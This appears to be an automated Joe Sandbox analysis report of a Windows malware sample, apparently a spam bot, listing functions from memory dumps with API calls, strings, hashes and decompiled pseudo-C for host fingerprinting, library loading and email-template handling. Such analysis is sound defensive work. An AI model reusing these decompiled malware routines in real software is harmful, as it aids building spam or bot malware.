Function 022BE61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,022BE842,00000000,00020119,022BE842,PromptOnSecureDesktop), ref: 022BE636
RegCloseKey.ADVAPI32(022BE842,?,?,?,?,000000C8,000000E4), ref: 022BE770

Strings

PromptOnSecureDesktop, xrefs: 022BE620

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: 9f6531c0be58a5e789f96d2ae88828d4ec09f24b4600e7df57c355b491a64c50
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: BB4118B2D1021EBFEF12AFD4DC80DEEBBB9EF04344F514066EA10B2154E3319A559B60

Uniqueness

Uniqueness Score: -1.00%

Function 022BAFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 022BAFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 022BAFF6

Part of subcall function 022BAF58: gethostname.WS2_32(?,00000080), ref: 022BAF6C
Part of subcall function 022BAF58: lstrcpy.KERNEL32(?,00410B90), ref: 022BAFCF

Part of subcall function 022B3305: gethostname.WS2_32(?,00000080), ref: 022B3328
Part of subcall function 022B3305: gethostbyname.WS2_32(?), ref: 022B3332

Part of subcall function 022BA9F3: inet_ntoa.WS2_32(00000000), ref: 022BA9F9

Strings

%OUTLOOK_BND_, xrefs: 022BB05F, 022BB064, 022BB0A7, 022BB0C6

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: db97cd6fb6115edb81fb4d964e355cb6728c158dc6efcd591f7a55164406d521
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: 6F414AB291034CABDB26AFE0CC45EEE3BADFF08344F14482AF92492155EA75E944CF54

Uniqueness

Uniqueness Score: -1.00%

Function 022B943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 022B951F
Sleep.KERNEL32(000001F4), ref: 022B9546

Strings

, xrefs: 022B94C2

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction ID: d3f9e3cd75aa3c2a94a01059959e993b7260248ea7119c485142cd09d5346e41
Opcode Fuzzy Hash: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction Fuzzy Hash: C34124718283866EEB3787E8C88C7E63BE49F02394F1840E5D2969719AD7B449C0CF61

Uniqueness

Uniqueness Score: -1.00%

Function 022BBC63, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 022BB9C2
InterlockedIncrement.KERNEL32(00413648), ref: 022BBA23
InterlockedIncrement.KERNEL32(?), ref: 022BBA7D
GetTickCount.KERNEL32 ref: 022BBB62
GetTickCount.KERNEL32 ref: 022BBB82
InterlockedIncrement.KERNEL32(?), ref: 022BBDFE
closesocket.WS2_32(00000000), ref: 022BBE9D

Strings

%FROM_EMAIL, xrefs: 022BBC66

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: %FROM_EMAIL
API String ID: 1869671989-2903620461
Opcode ID: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction ID: 7e3177da64f9d5251c6c01067b019235e941b334d132f7457dfb5a0aced4c6d5
Opcode Fuzzy Hash: 0090938f495b36ecde0c2704714dbc7a7bc2631707f40fe0f7850b313d5ec50d
Instruction Fuzzy Hash: AE318B318102499FDF26DFE4DC84AE9B7A8EF45744F60401AFA2482165EB74D684CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00408CEE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408CEE() {
				intOrPtr* _v8;
				intOrPtr _v12;
				long _t15;
				char _t17;
				intOrPtr _t19;
				intOrPtr* _t20;
				void* _t25;
				signed int _t31;
				signed char _t35;
				signed int _t36;
				char* _t41;
				intOrPtr* _t42;
				signed int _t45;

				_push(_t34);
				_t31 = 0;
				if( *0x413380 == 0) {
					L17:
					return _t15;
				}
				_t15 = GetTickCount() -  *0x413388;
				if(_t15 < 0xea60) {
					goto L17;
				}
				_t41 =  *0x413380;
				_t17 =  *_t41;
				_t45 =  *(_t41 + 1);
				_t42 = _t41 + 5;
				_v12 = _t17;
				if(_t17 <= 0) {
					L16:
					_t15 = GetTickCount();
					 *0x413388 = _t15;
					goto L17;
				} else {
					_v8 = _t42;
					do {
						_t35 =  *_v8;
						if(_t35 != 8) {
							if(_t35 != 9) {
								_t36 = _t35;
								_t19 =  *((intOrPtr*)(0x413300 + _t36 * 4));
								if(_t19 == 0) {
									goto L12;
								}
								_t9 = _t19 + 0x34; // 0x3b10c483
								if(_t36 ==  *_t9) {
									_t13 = _t19 + 0x50; // 0x7486850
									_t20 =  *_t13;
									if(_t20 != 0) {
										 *_t20(_t45 >>  *(_t31 * 5 + _t42) & 0x00000001);
									}
									goto L16;
								}
								goto L12;
							}
							_t25 = E0040A688(_t45 >> _t35 & 0x00000001);
							L8:
							if(_t25 != 0) {
								_t6 = _v8 + 1; // 0x3cc6
								_t45 = _t45 |  *_t6;
							}
							goto L12;
						}
						_t25 = E0040A677(_t45 >> _t35 & 0x00000001);
						goto L8;
						L12:
						_v8 = _v8 + 5;
						_t31 = _t31 + 1;
					} while (_t31 < _v12);
					goto L16;
				}
			}

0x00408cf2
0x00408cf4
0x00408cfc
0x00408dae
0x00408db0
0x00408db0
0x00408d08
0x00408d13
0x00000000
0x00000000
0x00408d1b
0x00408d21
0x00408d24
0x00408d27
0x00408d2a
0x00408d2f
0x00408da1
0x00408da1
0x00408da8
0x00000000
0x00408d31
0x00408d31
0x00408d34
0x00408d37
0x00408d3c
0x00408d50
0x00408d6c
0x00408d6f
0x00408d78
0x00000000
0x00000000
0x00408d7a
0x00408d7d
0x00408d8b
0x00408d8b
0x00408d90
0x00408d9e
0x00408da0
0x00000000
0x00408d90
0x00000000
0x00408d7d
0x00408d5a
0x00408d5f
0x00408d62
0x00408d67
0x00408d67
0x00408d67
0x00000000
0x00408d62
0x00408d46
0x00000000
0x00408d7f
0x00408d7f
0x00408d83
0x00408d84
0x00000000
0x00408d89

APIs

GetTickCount.KERNEL32 ref: 00408D02
GetTickCount.KERNEL32 ref: 00408DA1

Strings

localcfg, xrefs: 00408D19

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: localcfg
API String ID: 536389180-1857712256
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 1ef816322ecc1e041cdf399b9b138f6358d408137adc4a714cdb07e14db9ba06
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: 0821C631610115AFCB109F64DE8169ABBB9EF20311B25427FD881F72D1DF38E940875C

Uniqueness

Uniqueness Score: -1.00%

Function 00428FB1, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00429064

Strings

jjj, xrefs: 00429000
t/j, xrefs: 00429051

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _strlen
String ID: jjj$t/j
API String ID: 4218353326-194299851
Opcode ID: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction ID: cd1d792400a87bdeb57d23bfb3267b6deba96e22319d08cd7fd955d4cbfb9bc3
Opcode Fuzzy Hash: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction Fuzzy Hash: 0D21F574B0021CFBDB24CB88FD45BAE7370FB45304FA0456AE505932A1E779AE50DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFCE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040BFD0
wsprintfA.USER32 ref: 0040C060

Strings

Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl, xrefs: 0040C057

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: Type = %d: works = %d cur_thr = %d num_thr = %d integr = %d integr_nl = %d fCntrl = %d time_ok_filt = %d cntr = %d time_nl_filt = %d last_time_work = %d last_time_getem = %d last_time_calc = %d last_time_nl
API String ID: 2424974917-1012700906
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 022B7086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 022B70A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 022B70DD

Strings

|, xrefs: 022B70CF

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: 5e9315535da09fe8534f46db68fa9b968f26ea106fb538c444b6d555f39ef0ee
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 93111872920118EBDB22DBD5CC84ADEB7BCEF44345F1041A6E502F20A8D7709B88CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,73AFF210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,73BCEA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
